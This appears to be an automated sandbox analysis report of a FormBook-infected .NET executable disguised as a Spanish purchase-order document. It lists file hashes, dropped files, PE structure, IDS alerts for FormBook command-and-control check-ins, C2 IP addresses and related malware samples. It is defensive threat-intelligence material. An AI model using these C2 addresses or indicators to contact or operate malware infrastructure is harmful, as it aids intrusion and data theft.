                                                                                                            TRELLIAN-AS-APTrellianPtyLimitedAUhttp://followfoxconn.siteGet hashmaliciousUnknownBrowse
                                                                                                            • 103.224.182.210
                                                                                                            http://optimalrebalancing.tkGet hashmaliciousUnknownBrowse
                                                                                                            • 103.224.182.253
                                                                                                            1AIemYSAZy.exeGet hashmaliciousGlupteba, LummaC Stealer, SmokeLoader, StealcBrowse
                                                                                                            • 103.224.212.34
                                                                                                            DHL Factura Electronica Pendiente documento No 04BB25083.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                                                                            • 103.224.212.213
                                                                                                            REQ2024029.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                                                                            • 103.224.212.211
                                                                                                            MCYq2AqNU0.exeGet hashmaliciousGlupteba, LummaC Stealer, SmokeLoader, Stealc, XmrigBrowse
                                                                                                            • 103.224.212.34
                                                                                                            CERTIFICATE OF REGISTRY_pdf.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                                                                            • 103.224.212.216
                                                                                                            VIMEKSIM PO# 1330 Confirmation_pdf.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                                                                            • 103.224.212.216
                                                                                                            PaDQmSw2ud.dllGet hashmaliciousLaplas ClipperBrowse
                                                                                                            • 103.224.212.213
                                                                                                            PaDQmSw2ud.dllGet hashmaliciousLaplas ClipperBrowse
                                                                                                            • 103.224.212.213
                                                                                                            TANDEMUShttps://www.delldisplaymanagerwindows.comGet hashmaliciousUnknownBrowse
                                                                                                            • 15.197.193.217
                                                                                                            EGpGxFlJO8.exeGet hashmaliciousGlupteba, Mars Stealer, SmokeLoader, Stealc, VidarBrowse
                                                                                                            • 15.197.142.173
                                                                                                            https://attacc.weeblysite.com/Get hashmaliciousUnknownBrowse
                                                                                                            • 15.197.193.217
                                                                                                            https://at-104354.weeblysite.com/Get hashmaliciousUnknownBrowse
                                                                                                            • 15.197.193.217
                                                                                                            https://mailboxai098.weeblysite.com/Get hashmaliciousUnknownBrowse
                                                                                                            • 15.197.193.217
                                                                                                            http://meetsoci.comGet hashmaliciousUnknownBrowse
                                                                                                            • 15.197.226.17
                                                                                                            BWV4hz5GdR.exeGet hashmaliciousGlupteba, LummaC Stealer, SmokeLoader, Stealc, XmrigBrowse
                                                                                                            • 15.197.192.55
                                                                                                            mRWU3uqJ2O.exeGet hashmaliciousFormBookBrowse
                                                                                                            • 15.197.142.173
                                                                                                            EqBT3tJjy5.elfGet hashmaliciousUnknownBrowse
                                                                                                            • 206.8.197.224
                                                                                                            https://www.ungrbly.cn/Get hashmaliciousUnknownBrowse
                                                                                                            • 15.197.193.217
                                                                                                            TANDEMUShttps://www.delldisplaymanagerwindows.comGet hashmaliciousUnknownBrowse
                                                                                                            • 15.197.193.217
                                                                                                            EGpGxFlJO8.exeGet hashmaliciousGlupteba, Mars Stealer, SmokeLoader, Stealc, VidarBrowse
                                                                                                            • 15.197.142.173
                                                                                                            https://attacc.weeblysite.com/Get hashmaliciousUnknownBrowse
                                                                                                            • 15.197.193.217
                                                                                                            https://at-104354.weeblysite.com/Get hashmaliciousUnknownBrowse
                                                                                                            • 15.197.193.217
                                                                                                            https://mailboxai098.weeblysite.com/Get hashmaliciousUnknownBrowse
                                                                                                            • 15.197.193.217
                                                                                                            http://meetsoci.comGet hashmaliciousUnknownBrowse
                                                                                                            • 15.197.226.17
                                                                                                            BWV4hz5GdR.exeGet hashmaliciousGlupteba, LummaC Stealer, SmokeLoader, Stealc, XmrigBrowse
                                                                                                            • 15.197.192.55
                                                                                                            mRWU3uqJ2O.exeGet hashmaliciousFormBookBrowse
                                                                                                            • 15.197.142.173
                                                                                                            EqBT3tJjy5.elfGet hashmaliciousUnknownBrowse
                                                                                                            • 206.8.197.224
                                                                                                            https://www.ungrbly.cn/Get hashmaliciousUnknownBrowse
                                                                                                            • 15.197.193.217

                                                                                                            JA3 Fingerprints

                                                                                                            ⊘No context

                                                                                                            Dropped Files

                                                                                                            ⊘No context

                                                                                                            Created / dropped Files

                                                                                                            C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Solicitud de pedido Documento No 168646080.exe.log

                                                                                                            Download File
                                                                                                            Process:C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe
                                                                                                            File Type:ASCII text, with CRLF line terminators
                                                                                                            Category:dropped
                                                                                                            Size (bytes):1329
                                                                                                            Entropy (8bit):5.344106431119393
                                                                                                            Encrypted:false
                                                                                                            SSDEEP:24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E49E4184j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0Hb
                                                                                                            MD5:57BFF9062A242EEA852F3E2F464AC42E
                                                                                                            SHA1:23969D574EC734C71663AB4893424CDEAC7691D7
                                                                                                            SHA-256:D254D998EB4CE21BA57C20585806244B10C31B6C23AC22A26D5BEDA91A2ADCBA
                                                                                                            SHA-512:4666420308C3EB2332AB1907A4D75B6052612A4D8C3A821EAB3ECEA642CB3F23A5A8804C933047250415B6F09AA67E920F6A19482B484BEF8EA68E8609FCE0F3
                                                                                                            Malicious:false
                                                                                                            Reputation:moderate, very likely benign file
                                                                                                            Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

                                                                                                            C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                            Download File
                                                                                                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            File Type:data
                                                                                                            Category:dropped
                                                                                                            Size (bytes):1172
                                                                                                            Entropy (8bit):5.354777075714867
                                                                                                            Encrypted:false
                                                                                                            SSDEEP:24:3gWSKco4KmZjKbm51s4RPT6moUebIKo+mZ9t7J0gt/NKIl9r+q:QWSU4xymI4RfoUeW+mZ9tK8ND3
                                                                                                            MD5:0CBD5C86CC1353C7EF09E2ED3E0829E3
                                                                                                            SHA1:0FFE29A715ED1E32BB9491D3DD88FB72280ED040
                                                                                                            SHA-256:B7A6D1B47CEA0A5084460775416103112E56A7A423216183ABAC974960FD51E7
                                                                                                            SHA-512:C60EC6550188DCCD1EAD93CC49011BAC45134426ADEF81410468A1F613AD8F2E67AEF296F5C92092A62BFAC746FCA9DC8741FEC5600996F28A48BF2488E94D40
                                                                                                            Malicious:false
                                                                                                            Reputation:low
                                                                                                            Preview:@...e.................................,..............@..........P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...|...........System.Configuration4.................%...K... ...........System.Xml..L.................*gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g*(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

                                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jq0ncvdw.n2c.ps1

                                                                                                            Download File
                                                                                                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            File Type:ASCII text, with no line terminators
                                                                                                            Category:dropped
                                                                                                            Size (bytes):60
                                                                                                            Entropy (8bit):4.038920595031593
                                                                                                            Encrypted:false
                                                                                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                            Malicious:false
                                                                                                            Reputation:high, very likely benign file
                                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kaqfzyxp.dt2.psm1

                                                                                                            Download File
                                                                                                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            File Type:ASCII text, with no line terminators
                                                                                                            Category:dropped
                                                                                                            Size (bytes):60
                                                                                                            Entropy (8bit):4.038920595031593
                                                                                                            Encrypted:false
                                                                                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                            Malicious:false
                                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_khqrro1x.yhm.ps1

                                                                                                            Download File
                                                                                                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            File Type:ASCII text, with no line terminators
                                                                                                            Category:dropped
                                                                                                            Size (bytes):60
                                                                                                            Entropy (8bit):4.038920595031593
                                                                                                            Encrypted:false
                                                                                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                            Malicious:false
                                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qv44ywu5.3h5.psm1

                                                                                                            Download File
                                                                                                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            File Type:ASCII text, with no line terminators
                                                                                                            Category:dropped
                                                                                                            Size (bytes):60
                                                                                                            Entropy (8bit):4.038920595031593
                                                                                                            Encrypted:false
                                                                                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                            Malicious:false
                                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                            Static File Info

                                                                                                            General

                                                                                                            File type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                            Entropy (8bit):7.81247334581912
                                                                                                            TrID:
                                                                                                            • Win32 Executable (generic) Net Framework (10011505/4) 49.80%
                                                                                                            • Win32 Executable (generic) a (10002005/4) 49.75%
                                                                                                            • Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36%
                                                                                                            • Windows Screen Saver (13104/52) 0.07%
                                                                                                            • Generic Win/DOS Executable (2004/3) 0.01%
                                                                                                            File name:Solicitud de pedido Documento No 168646080.exe
                                                                                                            File size:711'680 bytes
                                                                                                            MD5:eec85a3805bca7a05b1e669f3a043bc6
                                                                                                            SHA1:b149921ff8b37ccc526a47f170eff93d4746faf9
                                                                                                            SHA256:4a487c4228b0a8d316809fda3510b6153f392d4e80622293efa6c8f2c4f1cd83
                                                                                                            SHA512:d0ab584abfdb088290f6491e687cade9d4e010233d743aff4bd60d6f5245a3e69bead5b3a492a76ffda0c7792702aa73e495ca43e1fa02383f43dc9e50191df5
                                                                                                            SSDEEP:12288:98S+oGOKc/hbL9bW9ezytPCcyINFbn6UjD2BjnCKJ0BMlWqU:tbL9iyQCps5nL5bMgq
                                                                                                            TLSH:80E4E059236CAF72E67A4BF854A098510BF1352FA13EE54A0DC224DB6E75F608F42F43
                                                                                                            File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j./...............0.................. ........@.. .......................@............@................................

                                                                                                            File Icon

                                                                                                            Icon Hash:00928e8e8686b000

                                                                                                            Static PE Info

                                                                                                            General

                                                                                                            Entrypoint:0x4af19a
                                                                                                            Entrypoint Section:.text
                                                                                                            Digitally signed:false
                                                                                                            Imagebase:0x400000
                                                                                                            Subsystem:windows gui
                                                                                                            Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                                                                                                            DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                                                                            Time Stamp:0xE52FAD6A [Mon Nov 5 13:17:30 2091 UTC]
                                                                                                            TLS Callbacks:
                                                                                                            CLR (.Net) Version:
                                                                                                            OS Version Major:4
                                                                                                            OS Version Minor:0
                                                                                                            File Version Major:4
                                                                                                            File Version Minor:0
                                                                                                            Subsystem Version Major:4
                                                                                                            Subsystem Version Minor:0
                                                                                                            Import Hash:f34d5f2d4577ed6d9ceec516c1f5a744

                                                                                                            Entrypoint Preview

                                                                                                            Instruction
                                                                                                            jmp dword ptr [00402000h]
                                                                                                            inc edi
                                                                                                            inc ebx
                                                                                                            xor eax, 41423134h
                                                                                                            xor al, 43h
                                                                                                            pop edx
                                                                                                            inc ebp
                                                                                                            inc esp
                                                                                                            pop edx
                                                                                                            inc ecx
                                                                                                            inc edi
                                                                                                            inc ebp
                                                                                                            xor al, 54h
                                                                                                            inc ecx
                                                                                                            cmp byte ptr [ecx+57h], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al
                                                                                                            add byte ptr [eax], al

                                                                                                            Data Directories

                                                                                                            NameVirtual AddressVirtual Size Is in Section
                                                                                                            IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                            IMAGE_DIRECTORY_ENTRY_IMPORT0xaf1470x4f.text
                                                                                                            IMAGE_DIRECTORY_ENTRY_RESOURCE0xb00000x584.rsrc
                                                                                                            IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                            IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                            IMAGE_DIRECTORY_ENTRY_BASERELOC0xb20000xc.reloc
                                                                                                            IMAGE_DIRECTORY_ENTRY_DEBUG0xabeb80x70.text
                                                                                                            IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                            IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                            IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                            IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                            IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                            IMAGE_DIRECTORY_ENTRY_IAT0x20000x8.text
                                                                                                            IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                            IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x20080x48.text
                                                                                                            IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                            Sections

                                                                                                            NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                            .text0x20000xad1b80xad200ce2ca1297f3d12eb9fdf5e0af9be8f6aFalse0.883984375data7.820552407910732IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                            .rsrc0xb00000x5840x60051ab8f8914b24652dd22bf80ea7fb335False0.4147135416666667data4.023320283656243IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                            .reloc0xb20000xc0x200ace4c86fd6cfae100a9749fb62e5f1a5False0.044921875data0.10191042566270775IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                                                            Resources

                                                                                                            NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                            RT_VERSION0xb00900x2f4data0.44312169312169314
                                                                                                            RT_MANIFEST0xb03940x1eaXML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators0.5489795918367347

                                                                                                            Imports

                                                                                                            DLLImport
                                                                                                            mscoree.dll_CorExeMain

                                                                                                            Network Behavior

                                                                                                            Snort IDS Alerts

                                                                                                            TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                                                                                                            02/28/24-14:57:24.410156TCP2031412ET TROJAN FormBook CnC Checkin (GET)4971980192.168.2.713.228.106.35
                                                                                                            02/28/24-14:57:02.918467TCP2031412ET TROJAN FormBook CnC Checkin (GET)4971880192.168.2.7172.104.233.69
                                                                                                            02/28/24-14:55:21.703259TCP2031412ET TROJAN FormBook CnC Checkin (GET)4971180192.168.2.718.167.179.176
                                                                                                            02/28/24-14:56:21.301235TCP2031412ET TROJAN FormBook CnC Checkin (GET)4971680192.168.2.715.197.142.173
                                                                                                            02/28/24-14:56:42.351336TCP2031412ET TROJAN FormBook CnC Checkin (GET)4971780192.168.2.715.197.130.221
                                                                                                            02/28/24-14:58:24.644872TCP2031412ET TROJAN FormBook CnC Checkin (GET)4972180192.168.2.7103.224.212.213
                                                                                                            02/28/24-14:55:41.893387TCP2031412ET TROJAN FormBook CnC Checkin (GET)4971380192.168.2.73.96.23.237
                                                                                                            02/28/24-14:58:04.170586TCP2031412ET TROJAN FormBook CnC Checkin (GET)4972080192.168.2.73.33.130.190
                                                                                                            02/28/24-14:56:01.170610TCP2031412ET TROJAN FormBook CnC Checkin (GET)4971580192.168.2.7104.21.12.188

                                                                                                            Network Port Distribution

                                                                                                            TCP Packets

                                                                                                            TimestampSource PortDest PortSource IPDest IP
                                                                                                            Feb 28, 2024 14:55:21.393098116 CET4971180192.168.2.718.167.179.176
                                                                                                            Feb 28, 2024 14:55:21.702967882 CET804971118.167.179.176192.168.2.7
                                                                                                            Feb 28, 2024 14:55:21.703118086 CET4971180192.168.2.718.167.179.176
                                                                                                            Feb 28, 2024 14:55:21.703258991 CET4971180192.168.2.718.167.179.176
                                                                                                            Feb 28, 2024 14:55:22.011416912 CET804971118.167.179.176192.168.2.7
                                                                                                            Feb 28, 2024 14:55:22.011445045 CET804971118.167.179.176192.168.2.7
                                                                                                            Feb 28, 2024 14:55:22.011461973 CET804971118.167.179.176192.168.2.7
                                                                                                            Feb 28, 2024 14:55:22.011641979 CET4971180192.168.2.718.167.179.176
                                                                                                            Feb 28, 2024 14:55:22.011703968 CET4971180192.168.2.718.167.179.176
                                                                                                            Feb 28, 2024 14:55:22.319787025 CET804971118.167.179.176192.168.2.7
                                                                                                            Feb 28, 2024 14:55:41.787504911 CET4971380192.168.2.73.96.23.237
                                                                                                            Feb 28, 2024 14:55:41.893049002 CET80497133.96.23.237192.168.2.7
                                                                                                            Feb 28, 2024 14:55:41.893287897 CET4971380192.168.2.73.96.23.237
                                                                                                            Feb 28, 2024 14:55:41.893387079 CET4971380192.168.2.73.96.23.237
                                                                                                            Feb 28, 2024 14:55:42.000123978 CET80497133.96.23.237192.168.2.7
                                                                                                            Feb 28, 2024 14:55:42.000164032 CET80497133.96.23.237192.168.2.7
                                                                                                            Feb 28, 2024 14:55:42.000349045 CET4971380192.168.2.73.96.23.237
                                                                                                            Feb 28, 2024 14:55:42.000382900 CET4971380192.168.2.73.96.23.237
                                                                                                            Feb 28, 2024 14:55:42.105909109 CET80497133.96.23.237192.168.2.7
                                                                                                            Feb 28, 2024 14:56:01.047103882 CET4971580192.168.2.7104.21.12.188
                                                                                                            Feb 28, 2024 14:56:01.170372009 CET8049715104.21.12.188192.168.2.7
                                                                                                            Feb 28, 2024 14:56:01.170511961 CET4971580192.168.2.7104.21.12.188
                                                                                                            Feb 28, 2024 14:56:01.170609951 CET4971580192.168.2.7104.21.12.188
                                                                                                            Feb 28, 2024 14:56:01.293716908 CET8049715104.21.12.188192.168.2.7
                                                                                                            Feb 28, 2024 14:56:01.334677935 CET8049715104.21.12.188192.168.2.7
                                                                                                            Feb 28, 2024 14:56:01.334805012 CET4971580192.168.2.7104.21.12.188
                                                                                                            Feb 28, 2024 14:56:01.335042953 CET8049715104.21.12.188192.168.2.7
                                                                                                            Feb 28, 2024 14:56:01.335093021 CET4971580192.168.2.7104.21.12.188
                                                                                                            Feb 28, 2024 14:56:01.457828045 CET8049715104.21.12.188192.168.2.7
                                                                                                            Feb 28, 2024 14:56:21.204525948 CET4971680192.168.2.715.197.142.173
                                                                                                            Feb 28, 2024 14:56:21.298007011 CET804971615.197.142.173192.168.2.7
                                                                                                            Feb 28, 2024 14:56:21.298186064 CET4971680192.168.2.715.197.142.173
                                                                                                            Feb 28, 2024 14:56:21.301234961 CET4971680192.168.2.715.197.142.173
                                                                                                            Feb 28, 2024 14:56:21.393876076 CET804971615.197.142.173192.168.2.7
                                                                                                            Feb 28, 2024 14:56:21.394699097 CET804971615.197.142.173192.168.2.7
                                                                                                            Feb 28, 2024 14:56:21.394715071 CET804971615.197.142.173192.168.2.7
                                                                                                            Feb 28, 2024 14:56:21.394823074 CET4971680192.168.2.715.197.142.173
                                                                                                            Feb 28, 2024 14:56:21.394823074 CET4971680192.168.2.715.197.142.173
                                                                                                            Feb 28, 2024 14:56:21.487745047 CET804971615.197.142.173192.168.2.7
                                                                                                            Feb 28, 2024 14:56:42.259443998 CET4971780192.168.2.715.197.130.221
                                                                                                            Feb 28, 2024 14:56:42.351093054 CET804971715.197.130.221192.168.2.7
                                                                                                            Feb 28, 2024 14:56:42.351226091 CET4971780192.168.2.715.197.130.221
                                                                                                            Feb 28, 2024 14:56:42.351336002 CET4971780192.168.2.715.197.130.221
                                                                                                            Feb 28, 2024 14:56:42.442886114 CET804971715.197.130.221192.168.2.7
                                                                                                            Feb 28, 2024 14:56:42.565313101 CET804971715.197.130.221192.168.2.7
                                                                                                            Feb 28, 2024 14:56:42.565335035 CET804971715.197.130.221192.168.2.7
                                                                                                            Feb 28, 2024 14:56:42.565427065 CET4971780192.168.2.715.197.130.221
                                                                                                            Feb 28, 2024 14:56:42.565450907 CET4971780192.168.2.715.197.130.221
                                                                                                            Feb 28, 2024 14:56:42.571865082 CET804971715.197.130.221192.168.2.7
                                                                                                            Feb 28, 2024 14:56:42.571923971 CET4971780192.168.2.715.197.130.221
                                                                                                            Feb 28, 2024 14:56:42.658727884 CET804971715.197.130.221192.168.2.7
                                                                                                            Feb 28, 2024 14:57:02.735073090 CET4971880192.168.2.7172.104.233.69
                                                                                                            Feb 28, 2024 14:57:02.917978048 CET8049718172.104.233.69192.168.2.7
                                                                                                            Feb 28, 2024 14:57:02.918111086 CET4971880192.168.2.7172.104.233.69
                                                                                                            Feb 28, 2024 14:57:02.918467045 CET4971880192.168.2.7172.104.233.69
                                                                                                            Feb 28, 2024 14:57:03.101046085 CET8049718172.104.233.69192.168.2.7
                                                                                                            Feb 28, 2024 14:57:03.396889925 CET8049718172.104.233.69192.168.2.7
                                                                                                            Feb 28, 2024 14:57:03.402302027 CET8049718172.104.233.69192.168.2.7
                                                                                                            Feb 28, 2024 14:57:03.402381897 CET4971880192.168.2.7172.104.233.69
                                                                                                            Feb 28, 2024 14:57:03.499624968 CET4971880192.168.2.7172.104.233.69
                                                                                                            Feb 28, 2024 14:57:03.682423115 CET8049718172.104.233.69192.168.2.7
                                                                                                            Feb 28, 2024 14:57:24.089071035 CET4971980192.168.2.713.228.106.35
                                                                                                            Feb 28, 2024 14:57:24.409876108 CET804971913.228.106.35192.168.2.7
                                                                                                            Feb 28, 2024 14:57:24.410033941 CET4971980192.168.2.713.228.106.35
                                                                                                            Feb 28, 2024 14:57:24.410156012 CET4971980192.168.2.713.228.106.35
                                                                                                            Feb 28, 2024 14:57:24.731004000 CET804971913.228.106.35192.168.2.7
                                                                                                            Feb 28, 2024 14:57:24.731797934 CET804971913.228.106.35192.168.2.7
                                                                                                            Feb 28, 2024 14:57:24.731812954 CET804971913.228.106.35192.168.2.7
                                                                                                            Feb 28, 2024 14:57:24.731911898 CET4971980192.168.2.713.228.106.35
                                                                                                            Feb 28, 2024 14:57:24.731954098 CET4971980192.168.2.713.228.106.35
                                                                                                            Feb 28, 2024 14:57:25.052743912 CET804971913.228.106.35192.168.2.7
                                                                                                            Feb 28, 2024 14:58:04.077878952 CET4972080192.168.2.73.33.130.190
                                                                                                            Feb 28, 2024 14:58:04.170378923 CET80497203.33.130.190192.168.2.7
                                                                                                            Feb 28, 2024 14:58:04.170454025 CET4972080192.168.2.73.33.130.190
                                                                                                            Feb 28, 2024 14:58:04.170586109 CET4972080192.168.2.73.33.130.190
                                                                                                            Feb 28, 2024 14:58:04.262988091 CET80497203.33.130.190192.168.2.7
                                                                                                            Feb 28, 2024 14:58:04.264493942 CET80497203.33.130.190192.168.2.7
